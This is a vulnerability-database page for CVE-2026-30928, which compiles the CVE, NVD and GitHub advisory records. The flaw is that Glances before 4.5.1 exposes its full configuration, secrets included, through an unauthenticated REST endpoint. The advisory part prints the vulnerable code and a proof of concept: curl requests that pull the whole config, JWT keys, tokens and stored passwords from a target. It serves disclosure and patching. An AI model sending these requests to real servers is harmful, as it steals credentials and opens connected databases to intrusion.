Vulnerability-Lookup

CVE-2026-30928 (GCVE-0-2026-30928)

Vulnerability from cvelistv5 – Published: 2026-03-10 16:15 – Updated: 2026-03-10 16:41

Title

Glances Exposes Unauthenticated Configuration Secrets

Summary

Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.1, the /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. This vulnerability is fixed in 4.5.1.

Severity ?

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CWE

CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor

Assigner

GitHub_M

References

URL

Tags

	https://github.com/nicolargo/glances/security/adv…	x_refsource_CONFIRM
	https://github.com/nicolargo/glances/commit/306a7…	x_refsource_MISC
	https://github.com/nicolargo/glances/releases/tag…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	nicolargo	glances	Affected: < 4.5.1

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-30928

Vulnerability from fkie_nvd - Published: 2026-03-10 18:18 - Updated: 2026-03-17 16:20

Severity ?

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/nicolargo/glances/commit/306a7136154ba5c1531489c99f8306d84eae37da	Patch
security-advisories@github.com	https://github.com/nicolargo/glances/releases/tag/v4.5.1	Product
security-advisories@github.com	https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	nicolargo	glances	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "5B30F860-5F24-4658-B6CD-B1507A8A3747",
              "versionEndExcluding": "4.5.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
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  ],
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      "lang": "en",
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    },
    {
      "lang": "es",
      "value": "Glances es una herramienta de monitorizaci\u00f3n de sistemas multiplataforma de c\u00f3digo abierto. Antes de la versi\u00f3n 4.5.1, el endpoint de la API REST /api/4/config devuelve el archivo de configuraci\u00f3n de Glances (glances.conf) completo y parseado a trav\u00e9s de self.config.as_dict() sin filtrar valores sensibles. El archivo de configuraci\u00f3n contiene credenciales para todos los servicios de backend configurados, incluyendo contrase\u00f1as de bases de datos, tokens de API, claves de firma JWT y contrase\u00f1as de claves SSL. Esta vulnerabilidad est\u00e1 corregida en la versi\u00f3n 4.5.1."
    }
  ],
  "id": "CVE-2026-30928",
  "lastModified": "2026-03-17T16:20:29.660",
  "metrics": {
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}

GHSA-GH4X-F7CQ-WWX6

Vulnerability from github – Published: 2026-03-09 19:50 – Updated: 2026-03-10 18:44

Summary

Glances Exposes Unauthenticated Configuration Secrets

Details

Summary

The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.

Details

Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.

Affected Code: - File: glances/outputs/glances_restful_api.py, lines 1154-1167

def _api_config(self):
    """Glances API RESTful implementation.

    Return the JSON representation of the Glances configuration file
    HTTP/200 if OK
    HTTP/404 if others error
    """
    try:
        # Get the RAW value of the config' dict
        args_json = self.config.as_dict()  # <-- Returns ALL config including secrets
    except Exception as e:
        raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get config ({str(e)})")
    else:
        return GlancesJSONResponse(args_json)

File: glances/config.py, lines 280-287

def as_dict(self):
    """Return the configuration as a dict"""
    dictionary = {}
    for section in self.parser.sections():
        dictionary[section] = {}
        for option in self.parser.options(section):
            dictionary[section][option] = self.parser.get(section, option)  # No filtering
    return dictionary

File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)

if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)  # No authentication!

PoC

Start Glances in default webserver mode:

glances -w
# Glances web server started on http://0.0.0.0:61208/

From any network-reachable host, retrieve all configuration secrets:

# Get entire config including all credentials
curl http://target:61208/api/4/config

Step 3: Extract specific secrets:

# Get JWT secret key for token forgery
curl http://target:61208/api/4/config/outputs/jwt_secret_key

# Get InfluxDB token
curl http://target:61208/api/4/config/influxdb2/token

# Get all stored server passwords
curl http://target:61208/api/4/config/passwords

Impact

Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.

Severity ?

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30928"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-09T19:50:00Z",
    "nvd_published_at": "2026-03-10T18:18:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.\n\n### Details\nRoot Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.\n\nAffected Code:\n- _File: glances/outputs/glances_restful_api.py, lines 1154-1167_\n```\ndef _api_config(self):\n    \"\"\"Glances API RESTful implementation.\n\n    Return the JSON representation of the Glances configuration file\n    HTTP/200 if OK\n    HTTP/404 if others error\n    \"\"\"\n    try:\n        # Get the RAW value of the config\u0027 dict\n        args_json = self.config.as_dict()  # \u003c-- Returns ALL config including secrets\n    except Exception as e:\n        raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get config ({str(e)})\")\n    else:\n        return GlancesJSONResponse(args_json)\n```\n\n- _File: glances/config.py, lines 280-287_\n```\ndef as_dict(self):\n    \"\"\"Return the configuration as a dict\"\"\"\n    dictionary = {}\n    for section in self.parser.sections():\n        dictionary[section] = {}\n        for option in self.parser.options(section):\n            dictionary[section][option] = self.parser.get(section, option)  # No filtering\n    return dictionary\n```\n- _File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)_\n```\nif self.args.password:\n    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n    router = APIRouter(prefix=self.url_prefix)  # No authentication!\n```\n### PoC\n- Start Glances in default webserver mode:\n```\nglances -w\n# Glances web server started on http://0.0.0.0:61208/\n```\n- From any network-reachable host, retrieve all configuration secrets:\n```\n# Get entire config including all credentials\ncurl http://target:61208/api/4/config\n```\nStep 3: Extract specific secrets:\n```\n# Get JWT secret key for token forgery\ncurl http://target:61208/api/4/config/outputs/jwt_secret_key\n\n# Get InfluxDB token\ncurl http://target:61208/api/4/config/influxdb2/token\n\n# Get all stored server passwords\ncurl http://target:61208/api/4/config/passwords\n```\n### Impact\nFull Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.",
  "id": "GHSA-gh4x-f7cq-wwx6",
  "modified": "2026-03-10T18:44:36Z",
  "published": "2026-03-09T19:50:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30928"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/306a7136154ba5c1531489c99f8306d84eae37da"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Glances Exposes Unauthenticated Configuration Secrets"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-30928 (GCVE-0-2026-30928)

FKIE_CVE-2026-30928

GHSA-GH4X-F7CQ-WWX6

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature